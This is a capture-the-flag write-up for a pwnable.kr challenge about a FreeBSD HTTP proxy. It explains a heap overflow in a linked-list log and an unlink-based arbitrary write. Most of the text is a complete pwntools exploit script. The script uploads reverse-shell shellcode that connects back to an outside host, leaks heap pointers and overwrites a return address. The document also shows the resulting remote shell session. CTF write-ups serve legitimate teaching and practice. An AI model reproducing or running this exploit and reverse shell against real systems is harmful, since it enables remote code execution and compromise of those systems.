The challenge
The challenge text on pwntable:
I made a multi-thread based HTTP proxy server written in C. It works fine for simple case, but it crashes occasionally. Can you find me the bug? (it has watchdog, proxy server will be respawned after crashing)
* uname -a of server : FreeBSD bsd32 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243826: Tue Dec 4 06:55:39 UTC 2012 root@obrian.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
Download : http://pwnable.kr/bin/myproxy
Running at : nc pwnable.kr 9903
After downloading the binary, loading up in IDA and taking a look around, we find this function af interest:
void SaveLog(int fd, char *s, int a3) {
size_t v3; // eax@6
size_t v4; // eax@7
socklen_t len; // [sp+1Ch] [bp-1Ch]@3
struct sockaddr addr; // [sp+20h] [bp-18h]@3
struct_log_link *entry; // [sp+30h] [bp-8h]@7
struct_log_link *ptr; // [sp+34h] [bp-4h]@2
if ( nlog == 32 ) {
ptr = log_head->prev;
ptr->prev->next = ptr->next;
ptr->next->prev = ptr->prev;
free(ptr);
--nlog;
}
len = 16;
if ( getpeername(fd, &addr, &len) == -1 ) {
perror("getpeername() failed");
} else if ( log_head ) {
entry = malloc(0x88u);
memset(entry, 0, 0x88u);
entry->addr = *&addr.sa_data[2];
entry->port = a3;
entry->next = log_head;
entry->prev = log_head->prev;
v4 = strlen(s);
strncpy(entry->host, s, v4);
log_head->prev->next = entry;
log_head->prev = entry;
log_head = entry;
++nlog;
} else {
log_head = malloc(0x88u);
memset(log_head, 0, 0x88u);
v3 = strlen(s);
strncpy(log_head->host, s, v3);
log_head->addr = *&addr.sa_data[2];
log_head->port = a3;
log_head->next = log_head;
log_head->prev = log_head;
++nlog;
}
}
So the server has a running log. Every log entry is stored in a double linked list, when the number of entries exceeds 32 the oldest is removed from the back of the list (by taking the prev of the log head). The log can be accessed remotely (by making a http request).
The vulnerability
After digging/dicking around for a while with the server itself and FreeBSD. You notice that:
- There is a straight forward overflow in the host field of the log entries
- We can control the next and prev pointers
- We can leak the next and prev pointers (by filling all the host field and reading the log)
- The prev pointer of the head is only overwritten after a new entry is added
- We can overwrite the next and prev pointers
- We can use the “log cleaning” functionality to get arbitraty writes!
- There are no protections on the binary whatsoever!
Our stategy
- Fill the log (32 entries)
- Insert shellcode into host field and a leak the next pointer (to get its address)
- Create an log entry (tail) like this:
+0 | IP
+4 | Port
+8 | 112 bytes of junk
+120 | Our next
+124 | Our prev
+128 | next
+132 | prev
- Make “Our next” the address of the return address (taking care of offset)
- Make “Our prev” the value (address of shellcode)
- Make a new entry with prev pointing at the (tail - 0x8)
- “Clean the log”
- Win?
Do it
After writing shellcode (reverse shell) – and taking care to avoid null bytes and slashes.
The final exploit looks like this:
import time
import socket
from pwn import *
from os import urandom
ip, port = ('pwnable.kr', 9903)
context.log_level = 'error'
wait = 0.1
shell_ip = socket.gethostbyname('rot256.io')
shell_port = 1337
"""
Log:
IP : 4 bytes (+ 0)
Port : 4 bytes (+ 4)
Host : 120 bytes (+ 8)
Next : 4 bytes (+ 128)
Prev : 4 bytes (+ 132)
"""
def send_entry(m):
conn = remote(ip, port)
conn.send('GET http://' + m + ' HTTP/1.1\r\n')
conn.send('Host: ' + m + '\r\n')
conn.send('\r\n')
time.sleep(wait)
conn.close()
def send(n):
send_entry('padding%02d.org' % n)
def magic(n):
return urandom(n / 2 + 1).encode('hex')[:n]
def getlog():
conn = remote(ip, port)
conn.send('admincmd_proxy_dump_log')
conn.send('\r\n')
out = ''
while 1:
try:
out += conn.recv(1024)
except EOFError:
break
return out
def leak():
m = magic(120)
send_entry(m)
log = getlog()
hew = log[log.find(m) + len(m):]
assert hew.find(',') >= 4
p_next = u32(hew[0:4])
return p_next
# Load shellcod
with open('shell3.asm', 'rb') as f:
code = f.read()
code = code.format(
ip = u32(socket.inet_aton(shell_ip)) ^ 0xBBBBBBBB,
port = ((socket.htons(shell_port) << 16) + 0x02AA) ^ 0xBBBBBBBB)
shell = asm(code)
print 'Shellcode:\n' + shell.encode('hex')
assert '\x00' not in shell
assert '/' not in shell
# Fill log
print 'Filling log'
for n in range(32):
print 'Sending: %2d' % n
send(n)
# Send shellcode
print 'Uploading shellcode'
pad = 120 - len(shell)
entry = ''
entry += '\x90' * (pad / 2)
entry += shell
entry += '\x90' * (pad / 2)
assert len(entry) <= 120
send_entry(entry)
# Find shellcode address
print 'Finding shellcode address'
shell_addr = leak()
shell_addr += 8 # Skip IP and Port fields
print 'Shell at: 0x%x' % shell_addr
# Make fake tail
print 'Creating entry to be cleaned (fake tail)'
ebp = 0xbd8dcf48
ebp = 0xbd2d6f48
tar = (ebp + 4)
val = shell_addr
entry = ''
entry += cyclic(120 - 8)
entry += p32(tar - 0x84) # Fake next
entry += p32(val) # Fake prev
assert len(entry) == 120
send_entry(entry)
# Find address of tail
print 'Finding tail address'
tail_addr = leak()
print 'Tail at: 0x%x' % tail_addr
# Make head, with overwritten prev
print 'Insert head, with borked prev'
entry = ''
entry += magic(120)
entry += p32(tail_addr - 8) # Next (whatever)
entry += p32(tail_addr - 8) # Prev
send_entry(entry)
# Trigger cleanup
print 'Trigger log cleanup'
send(1337)
print 'Done'
Running the script with an open nc listener at rot256.io yields:
rot256@gibson:~$ nc -l -p 1337
ls
flag
myproxy
myproxy.sh
run.sh
cat flag
NOPE YOU DONT GET TO SEE THE FLAG
The full code can be found on github